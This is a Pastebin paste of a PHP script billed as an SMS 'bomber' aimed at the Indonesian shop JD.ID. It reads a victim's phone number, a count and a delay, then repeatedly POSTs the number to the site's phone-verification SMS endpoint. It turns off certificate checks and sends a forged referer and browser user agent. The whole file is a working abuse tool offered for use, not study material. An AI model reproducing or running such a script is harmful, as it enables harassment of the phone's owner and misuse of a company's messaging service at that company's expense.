Advertisement
Guest User

Untitled

a guest
Mar 21st, 2018
264
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.53 KB | None | 0 0
  1. <?php
  2. function jdidbom($no, $jum, $wait){
  3. $x = 0;
  4. while($x < $jum) {
  5. $ch = curl_init();
  6. curl_setopt($ch, CURLOPT_URL,"http://sc.jd.id/phone/sendPhoneSms");
  7. curl_setopt($ch, CURLOPT_POST, 1);
  8. curl_setopt($ch, CURLOPT_POSTFIELDS,"phone=".$no."&smsType=1");
  9. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  10. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
  11. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  12. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  13. curl_setopt($ch, CURLOPT_REFERER, 'http://sc.jd.id/phone/bindingPhone.html');
  14. curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36');
  15. $server_output = curl_exec ($ch);
  16. curl_close ($ch);
  17. echo $server_output."\n";
  18. sleep($wait);
  19. $x++;
  20. flush();
  21. }
  22. }
  23. echo "
  24. ##################################################################
  25. [ "Spammer/Bom SMS Dari JD.ID" ]
  26. Coded By : ZeroSvn
  27. ReCoded : YanzZz Putraz [22-3-2018]
  28. Date : 12/12/20117
  29. Email : yandiselpa@gmail.com
  30. Usage : php jdid.php
  31. ###################################################################\nInput : ";
  32. echo "Nomor? [Ex : 8xxxx]\nInput : ";
  33. $nomor = trim(fgets(STDIN));
  34. echo "Jumlah SMS?\nInput : ";
  35. $jumlah = trim(fgets(STDIN));
  36. echo "Jeda Pengiriman SMS? 0-999+ [Ex:1]\nInput : ";
  37. $jeda = trim(fgets(STDIN));
  38. $execute = jdidbom($nomor, $jumlah, $jeda);
  39. print $execute;
  40. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement